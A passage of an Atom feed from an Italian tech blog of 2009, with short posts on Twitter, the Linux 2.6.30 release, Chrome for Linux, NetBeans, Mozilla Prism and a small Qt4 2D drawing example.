/&gt;&lt;/a&gt;&lt;br /&gt;Ho sempre pensato a facebook e compagnia bella come a una perdita di tempo mascherata da programma di social networking.&lt;br /&gt;&lt;br /&gt;Negli ultimi giorni invece si è fatto un uso sempre più "social" di twitter.&lt;br /&gt;La questione delle elezioni iraniane infatti ha dimostrato quanto l'interazione, tramite messagi testuali, con il portale di microblogging permette di comunicare con il mondo intero,istantaneamente, situazioni e pensieri censurati dalle autorità.&lt;br /&gt;&lt;br /&gt;Sulla scia di questa ritrovata fiducia ho creato anche io un mio account di twitter raggiungibile all'indirizzo &lt;a href="http://twitter.com/mrgiov"&gt;http://twitter.com/mrgiov&lt;/a&gt;. Vediamo se potrà tornare utile anche a me.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8006066354061501161-5456075012101745739?l=opentalking.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opentalking.blogspot.com/feeds/5456075012101745739/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8006066354061501161&amp;postID=5456075012101745739' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/5456075012101745739'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/5456075012101745739'/><link rel='alternate' type='text/html' href='http://opentalking.blogspot.com/2009/06/scopriamo-twitter.html' title='Scopriamo Twitter'/><author><name>Massimiliano Giovine</name><uri>http://www.blogger.com/profile/12001974026515363691</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_sXS0ScZT1Nw/TB_c3I39Q2I/AAAAAAAAAho/l8--KQsgsWA/S220/31325_1495267103154_1278374608_1379470_7878255_n.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8006066354061501161.post-1163717186811435830</id><published>2009-06-11T22:57:00.004+02:00</published><updated>2009-06-11T23:06:33.800+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Fun'/><category scheme='http://www.blogger.com/atom/ns#' term='Internet'/><title type='text'>Magic "povera" Italy</title><content type='html'>Non mi piace parlare di politica, o di ciò che riguarda i politici. Infatti volevo scrivere un articolo composto solo dall'immagine qua sotto.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://images.corriere.it/Media/Foto/2009/06/11/ITALY4_b1.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 190px; height: 130px;" src="http://images.corriere.it/Media/Foto/2009/06/11/ITALY4_b1.jpg" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;Mi preme solo fare sapere il contesto in cui si colloca questa meraviglia pubblicitaria. Questo "logo" è la nuova faccia di italia.it, che per chi non lo sapesse è un portale sul turismo in italia. Il sito è stato più volte al centro dell'attenzione non per i "preziosi" contenuti quanto per lo spreco di denaro pubblico al quale a portato e per il fatto di essere stato attivo solo per 1 anno.&lt;br /&gt;&lt;br /&gt;Che sia il definitvo colpo di grazia a un progetto nato già fallito?&lt;br /&gt;&lt;br /&gt;PS: per acculturarsi un po' su questo prodigio grafico vi lascio il &lt;a href="http://www.corriere.it/politica/09_giugno_11/logo_magic_italy_berlusconi_brambilla_blog_80e998c6-567d-11de-82c8-00144f02aabc.shtml"&gt;link&lt;/a&gt; dell'articolo del corriere della sera che ne parla. L'opinione dei netizen è una soltanto!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8006066354061501161-1163717186811435830?l=opentalking.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opentalking.blogspot.com/feeds/1163717186811435830/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8006066354061501161&amp;postID=1163717186811435830' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/1163717186811435830'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/1163717186811435830'/><link rel='alternate' type='text/html' href='http://opentalking.blogspot.com/2009/06/magic-povera-italy.html' title='Magic &quot;povera&quot; Italy'/><author><name>Massimiliano Giovine</name><uri>http://www.blogger.com/profile/12001974026515363691</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_sXS0ScZT1Nw/TB_c3I39Q2I/AAAAAAAAAho/l8--KQsgsWA/S220/31325_1495267103154_1278374608_1379470_7878255_n.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8006066354061501161.post-4645816361727593807</id><published>2009-06-10T20:03:00.003+02:00</published><updated>2009-06-10T20:31:06.604+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Open Source'/><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><category scheme='http://www.blogger.com/atom/ns#' term='Kernel'/><category scheme='http://www.blogger.com/atom/ns#' term='Free Software'/><title type='text'>Linux 2.6.30 is out</title><content type='html'>Linus comincia la sua solita mail di annuncio parandosi già da eventuali bug che la 2.6.30 potrebbe avere, ma un dato è certo:&lt;br /&gt;&lt;br /&gt;abbiamo fra le mani il nuovo kernel che contiene una discreta quantità di succose novità.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://kernelnewbies.org/moin/kn-icon.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 54px; height: 64px;" src="http://kernelnewbies.org/moin/kn-icon.png" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;span style="font-style:italic;"&gt;As mentioned last week, -rc8 was the last -rc, and there really isn't any&lt;br /&gt;point in delaying the real release any more.&lt;br /&gt;&lt;br /&gt;I'm sure we've missed something, and I know we have some regressions&lt;br /&gt;pending. At the same time, we do need the coverage of a eral release, and&lt;br /&gt;on the whole it looks pretty good. We've fixed a few regressions in the&lt;br /&gt;last few days, and there's always 2.6.30.x.&lt;/span&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;La cosa che mi ha colpito per prima e della quale do subito il &lt;a href="http://kernelnewbies.org/Linux_2_6_30#head-1a54a63244fb0d85375f8ecbe651cf94dac38c6c"&gt;link&lt;/a&gt; sono i filesystems.&lt;br /&gt;&lt;br /&gt;Un link tutto da leggere e da gustare!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8006066354061501161-4645816361727593807?l=opentalking.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opentalking.blogspot.com/feeds/4645816361727593807/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8006066354061501161&amp;postID=4645816361727593807' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/4645816361727593807'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/4645816361727593807'/><link rel='alternate' type='text/html' href='http://opentalking.blogspot.com/2009/06/linux-2630-is-out.html' title='Linux 2.6.30 is out'/><author><name>Massimiliano Giovine</name><uri>http://www.blogger.com/profile/12001974026515363691</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_sXS0ScZT1Nw/TB_c3I39Q2I/AAAAAAAAAho/l8--KQsgsWA/S220/31325_1495267103154_1278374608_1379470_7878255_n.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8006066354061501161.post-1777781544760929560</id><published>2009-06-06T10:08:00.006+02:00</published><updated>2009-06-06T12:28:41.266+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Chrome'/><category scheme='http://www.blogger.com/atom/ns#' term='Google'/><category scheme='http://www.blogger.com/atom/ns#' term='Internet'/><title type='text'>Google Chrome for Gnu/Linux</title><content type='html'>Voglio stupirvi con un immagine del mio desktop:&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_sXS0ScZT1Nw/SiokXcJusgI/AAAAAAAAAag/8--w8pxab4Q/s1600-h/screenshot5.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 187px;" src="http://4.bp.blogspot.com/_sXS0ScZT1Nw/SiokXcJusgI/AAAAAAAAAag/8--w8pxab4Q/s320/screenshot5.png" alt="" id="BLOGGER_PHOTO_ID_5344123892941107714" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Ebbene si, non si tratta di chromium, la versione sviluppata tempo fa che "emulava" google chrome su Gnu/Linux. Questa è proprio la versione &lt;span style="font-style:italic;"&gt;ufficiale&lt;/span&gt; di Google.&lt;br /&gt;&lt;br /&gt;La sto provando in questi minuti e l'unico &lt;span style="font-style:italic;"&gt;problemino&lt;/span&gt; è che non ha riconoscito automaticamente il plug in di flash. &lt;br /&gt;&lt;br /&gt;Ci tengo però a precisare che è una versione unstable di testing, è comunque un gran prodotto.&lt;br /&gt;&lt;br /&gt;A presto per ulteriori aggiornamenti.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8006066354061501161-1777781544760929560?l=opentalking.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opentalking.blogspot.com/feeds/1777781544760929560/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8006066354061501161&amp;postID=1777781544760929560' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/1777781544760929560'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/1777781544760929560'/><link rel='alternate' type='text/html' href='http://opentalking.blogspot.com/2009/06/google-chrome-for-gnulinux.html' title='Google Chrome for Gnu/Linux'/><author><name>Massimiliano Giovine</name><uri>http://www.blogger.com/profile/12001974026515363691</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_sXS0ScZT1Nw/TB_c3I39Q2I/AAAAAAAAAho/l8--KQsgsWA/S220/31325_1495267103154_1278374608_1379470_7878255_n.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_sXS0ScZT1Nw/SiokXcJusgI/AAAAAAAAAag/8--w8pxab4Q/s72-c/screenshot5.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8006066354061501161.post-7036413635729559827</id><published>2009-05-31T13:13:00.004+02:00</published><updated>2009-05-31T13:52:51.789+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Programmazione'/><category scheme='http://www.blogger.com/atom/ns#' term='Open Source'/><category scheme='http://www.blogger.com/atom/ns#' term='Free Software'/><category scheme='http://www.blogger.com/atom/ns#' term='Qt'/><category scheme='http://www.blogger.com/atom/ns#' term='C/C++'/><title type='text'>Disegnare 2d con Qt4</title><content type='html'>Facciamo una piccola divagazione rispetto alla gestione dei Todo.&lt;br /&gt;Con le Qt è molto semplice anche disegnare in 2D.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_sXS0ScZT1Nw/SiJmoF2juDI/AAAAAAAAAaY/Y2adxVljtKc/s1600-h/screenshot4.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 228px;" src="http://4.bp.blogspot.com/_sXS0ScZT1Nw/SiJmoF2juDI/AAAAAAAAAaY/Y2adxVljtKc/s320/screenshot4.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5341944946966640690" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Per disegnare una linea o un cerchio come quelli appena mostrati il procedimento è molto semplice.&lt;br /&gt;&lt;br /&gt;Cominciamo con il mostrare per intero il codice:&lt;br /&gt;&lt;pre style="font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; color: #000000; background-color: #eee;font-size: 12px;border: 1px dashed #999999;line-height: 14px;padding: 5px; overflow: auto; width: 100%"&gt;&lt;code&gt;void MainWindow::paintEvent(QPaintEvent * event)&lt;br /&gt;{&lt;br /&gt;    QPainter painter( this );&lt;br /&gt;    painter.setPen(QColor(255,0,0));&lt;br /&gt;    painter.drawLine(QPointF(0,0),QPointF(50,50));&lt;br /&gt;    QRectF rect (60,60,100,100);&lt;br /&gt;    QPainterPath path (QPointF(100,100));&lt;br /&gt;&lt;br /&gt;    path.addEllipse(rect);&lt;br /&gt;    painter.fillPath(path,QColor(0,255,0));&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;Per prima cosa va fatto l'override del metodo paintEvent() proprio dei widget.&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;    painter.setPen(QColor(255,0,0));&lt;br /&gt;    painter.drawLine(QPointF(0,0),QPointF(50,50));&lt;/blockquote&gt;&lt;br /&gt;Con queste due semplici linee di codice è molto semplice disegnare e definire anche la formattazione.&lt;br /&gt;Per riempire invece un tondo bisogna creare un QPainterPath, ovvero un insieme di primitive di disegno da disegnare tutte insieme. &lt;br /&gt;Queste semplici istruzioni sono ovviamente utilizzabili ovunque e il metodo paintEvent è reimplementabile in ogni componente per poterne definire lo stile di disegno.&lt;br /&gt;&lt;br /&gt;Buon divertimento :)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8006066354061501161-7036413635729559827?l=opentalking.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opentalking.blogspot.com/feeds/7036413635729559827/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8006066354061501161&amp;postID=7036413635729559827' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/7036413635729559827'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/7036413635729559827'/><link rel='alternate' type='text/html' href='http://opentalking.blogspot.com/2009/05/disegnare-2d-con-qt4.html' title='Disegnare 2d con Qt4'/><author><name>Massimiliano Giovine</name><uri>http://www.blogger.com/profile/12001974026515363691</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_sXS0ScZT1Nw/TB_c3I39Q2I/AAAAAAAAAho/l8--KQsgsWA/S220/31325_1495267103154_1278374608_1379470_7878255_n.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_sXS0ScZT1Nw/SiJmoF2juDI/AAAAAAAAAaY/Y2adxVljtKc/s72-c/screenshot4.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8006066354061501161.post-9056462689296064065</id><published>2009-05-27T22:02:00.002+02:00</published><updated>2009-05-27T22:39:41.138+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Mobile'/><category scheme='http://www.blogger.com/atom/ns#' term='Android'/><category scheme='http://www.blogger.com/atom/ns#' term='Google'/><category scheme='http://www.blogger.com/atom/ns#' term='Internet'/><title type='text'>Android Developer Challenge il ritorno</title><content type='html'>Visto l'incredibile successo della prima edizione, e la discreta diffusione del nuovo sistema operativo per palmari e smart phone, prossimamente anche per netbook, Google ha deciso di fare una nuova edizione del concorso per sviluppatori di applicazioni per la sua piattaforma.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://developer.android.com/assets/images/bg_logo.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 180px; height: 50px;" src="http://developer.android.com/assets/images/bg_logo.png" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Le categorie di sviluppo restano pressochè le solite. &lt;a href="http://android-developers.blogspot.com/2009/05/calling-all-developers-for-android.html"&gt;Qui&lt;/a&gt; la pagina dove viene presentato il nuovo concorso. &lt;br /&gt;&lt;br /&gt;Questa volta speriamo di poter partecipare anche noi italiani.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8006066354061501161-9056462689296064065?l=opentalking.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opentalking.blogspot.com/feeds/9056462689296064065/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8006066354061501161&amp;postID=9056462689296064065' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/9056462689296064065'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/9056462689296064065'/><link rel='alternate' type='text/html' href='http://opentalking.blogspot.com/2009/05/android-developer-challenge-il-ritorno.html' title='Android Developer Challenge il ritorno'/><author><name>Massimiliano Giovine</name><uri>http://www.blogger.com/profile/12001974026515363691</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_sXS0ScZT1Nw/TB_c3I39Q2I/AAAAAAAAAho/l8--KQsgsWA/S220/31325_1495267103154_1278374608_1379470_7878255_n.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8006066354061501161.post-5017636072413148306</id><published>2009-05-23T09:28:00.002+02:00</published><updated>2009-05-23T09:43:17.291+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Gnu Linux'/><category scheme='http://www.blogger.com/atom/ns#' term='Open Source'/><category scheme='http://www.blogger.com/atom/ns#' term='Internet'/><title type='text'>Altra occasione persa</title><content type='html'>La newsletter italiana di Ubuntu diventa ogni settimana più interessante anche se ogni tanto riporta una brutta, anzi bruttissima notizia, come questa.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://swimforgold.com/images/800px-london-2012-logo.svg_yuxb.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 292px; height: 155px;" src="http://swimforgold.com/images/800px-london-2012-logo.svg_yuxb.png" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Se seguite questo &lt;a href="http://wiki.ubuntu-it.org/NewsletterItaliana/2009.020"&gt;link&lt;/a&gt;, potrete leggere che il comitato delle olimpiadi ha detto no ai formati aperti e open source per il sistema informatico delle olimpiadi.&lt;br /&gt;&lt;br /&gt;Ciò mi porta a una riflessione molto seria. Da una parte l'insensata ostinazione a rinunciare ai formati proprietari in un momento di crisi come questo. Dall'altra però anche questa rinuncia potrebbe voler dire che c'è bisogno di un'offerta più aggressiva per poter invertire le tendenze.&lt;br /&gt;&lt;br /&gt;Io penso che è questo il momento di spingere sull'acceleratore, però l'acceleratore va spinto sul serio, con una proposta compatta e convincente che spinga anche gli ultimi "anacronistici" scettici a passare all'open source.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8006066354061501161-5017636072413148306?l=opentalking.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opentalking.blogspot.com/feeds/5017636072413148306/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8006066354061501161&amp;postID=5017636072413148306' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/5017636072413148306'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/5017636072413148306'/><link rel='alternate' type='text/html' href='http://opentalking.blogspot.com/2009/05/altra-occasione-persa.html' title='Altra occasione persa'/><author><name>Massimiliano Giovine</name><uri>http://www.blogger.com/profile/12001974026515363691</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_sXS0ScZT1Nw/TB_c3I39Q2I/AAAAAAAAAho/l8--KQsgsWA/S220/31325_1495267103154_1278374608_1379470_7878255_n.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8006066354061501161.post-6918597954368724448</id><published>2009-05-16T10:14:00.003+02:00</published><updated>2009-05-16T10:20:53.507+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Ide'/><category scheme='http://www.blogger.com/atom/ns#' term='Java'/><category scheme='http://www.blogger.com/atom/ns#' term='Programmazione'/><category scheme='http://www.blogger.com/atom/ns#' term='NetBeans'/><title type='text'>NetBeans, la strada verso la 6.7</title><content type='html'>NetBeans è un IDE completo e molto potente che si basa su tecnologia Java, ma permette di svillupare, praticamente, in tutti i principali linguaggi di programmazione.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.netbeans.org/images/v6/community/javafx-banner.gif"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 235px; height: 145px;" src="http://www.netbeans.org/images/v6/community/javafx-banner.gif" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;Possiamo già scaricare la beta della nuova versione, 6.7, che contiene delle succose novità.&lt;br /&gt;La prima che mi è saltato all'occhio è il supporto alle librerie Qt, che stanno prendendo sempre più campo.&lt;br /&gt;&lt;br /&gt;Da &lt;a href="http://www.netbeans.org/community/releases/67/"&gt;questo link&lt;/a&gt; è possibile raggiungere la notizia del rilascio e il link per scaricare la beta, per quanto mi riguarda già in download.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8006066354061501161-6918597954368724448?l=opentalking.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opentalking.blogspot.com/feeds/6918597954368724448/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8006066354061501161&amp;postID=6918597954368724448' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/6918597954368724448'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/6918597954368724448'/><link rel='alternate' type='text/html' href='http://opentalking.blogspot.com/2009/05/netbeans-la-strada-verso-la-67.html' title='NetBeans, la strada verso la 6.7'/><author><name>Massimiliano Giovine</name><uri>http://www.blogger.com/profile/12001974026515363691</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_sXS0ScZT1Nw/TB_c3I39Q2I/AAAAAAAAAho/l8--KQsgsWA/S220/31325_1495267103154_1278374608_1379470_7878255_n.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8006066354061501161.post-380554967871013876</id><published>2009-05-12T20:35:00.002+02:00</published><updated>2009-05-12T20:41:31.018+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Mozilla'/><category scheme='http://www.blogger.com/atom/ns#' term='Open Source'/><category scheme='http://www.blogger.com/atom/ns#' term='Free Software'/><category scheme='http://www.blogger.com/atom/ns#' term='Internet'/><title type='text'>Mozilla Prism 1.0 beta</title><content type='html'>L'avevo già presentato un po' di tempo fa sempre su questo blog.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.punto-informatico.it/punto/20090512/prism_1.gif"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 282px; height: 134px;" src="http://www.punto-informatico.it/punto/20090512/prism_1.gif" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;Si tratta di un programma che consente di utilizzare le applicazioni web come applicazioni studiate per il desktop.&lt;br /&gt;&lt;br /&gt;Ora Prism è giunto alla versione 1.0 beta e bisogna assolutamente testarne le novità e soprattutto il modo innovativo di utilizzare le web application.&lt;br /&gt;&lt;br /&gt;Ecco il post dell'annuncio: &lt;a href="http://labs.mozilla.com/2009/05/prism-10-launches-with-new-website/"&gt;link&lt;/a&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8006066354061501161-380554967871013876?l=opentalking.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opentalking.blogspot.com/feeds/380554967871013876/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8006066354061501161&amp;postID=380554967871013876' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/380554967871013876'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/380554967871013876'/><link rel='alternate' type='text/html' href='http://opentalking.blogspot.com/2009/05/mozilla-prism-10-beta.html' title='Mozilla Prism 1.0 beta'/><author><name>Massimiliano Giovine</name><uri>http://www.blogger.com/profile/12001974026515363691</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_sXS0ScZT1Nw/TB_c3I39Q2I/AAAAAAAAAho/l8--KQsgsWA/S220/31325_1495267103154_1278374608_1379470_7878255_n.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8006066354061501161.post-6273592055475787839</id><published>2009-05-11T19:25:00.002+02:00</published><updated>2009-05-11T19:29:27.506+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Java'/><category scheme='http://www.blogger.com/atom/ns#' term='Programmazione'/><category scheme='http://www.blogger.com/atom/ns#' term='Open Source'/><category scheme='http://www.blogger.com/atom/ns#' term='Free Software'/><title type='text'>Laboratorio Programmazione di Rete Open</title><content type='html'>Oggi è stato completato l'esame di Laboratorio di Programmazione di rete. &lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://img220.imageshack.us/img220/6526/minikazaamainicon.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 200px; height: 200px;" src="http://img220.imageshack.us/img220/6526/minikazaamainicon.png" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;Pubblichiamo quindi il codice che è già presente su internet dall'inizio del progetto.&lt;br /&gt;E' possibile quindi scaricarlo, testarlo e utilizzarne il codice.&lt;br /&gt;&lt;br /&gt;Se individuate dei problemi potete sempre inserire una "issue" nel pannello delle segnalazioni, ne saremo veramente grati.&lt;br /&gt;&lt;br /&gt;Cliccate &lt;a href="http://code.google.com/p/mini-kazaa/"&gt;qui&lt;/a&gt; per andare al sito "ufficiale" del progetto.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8006066354061501161-6273592055475787839?l=opentalking.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opentalking.blogspot.com/feeds/6273592055475787839/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8006066354061501161&amp;postID=6273592055475787839' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/6273592055475787839'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/6273592055475787839'/><link rel='alternate' type='text/html' href='http://opentalking.blogspot.com/2009/05/laboratorio-programmazione-di-rete-open.html' title='Laboratorio Programmazione di Rete Open'/><author><name>Massimiliano Giovine</name><uri>http://www.blogger.com/profile/12001974026515363691</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_sXS0ScZT1Nw/TB_c3I39Q2I/AAAAAAAAAho/l8--KQsgsWA/S220/31325_1495267103154_1278374608_1379470_7878255_n.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8006066354061501161.post-2443470683742072727</id><published>2009-05-02T12:22:00.005+02:00</published><updated>2009-05-02T12:57:44.293+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Programmazione'/><category scheme='http://www.blogger.com/atom/ns#' term='Open Source'/><category scheme='http://www.blogger.com/atom/ns#' term='Qt'/><category scheme='http://www.blogger.com/atom/ns#' term='C/C++'/><category scheme='http://www.blogger.com/atom/ns#' term='QToDo'/><title type='text'>Qt Tutorial - QToDo</title><content type='html'>È già da un po' che pensavo a un piccolo programmino da fare per poter esplorare le librerie Qt stimolato da qualcosa. Quel giorno è arrivato.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://trolltech.com/images/products/Qt_logostrap_CMYK.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 307px; height: 152px;" 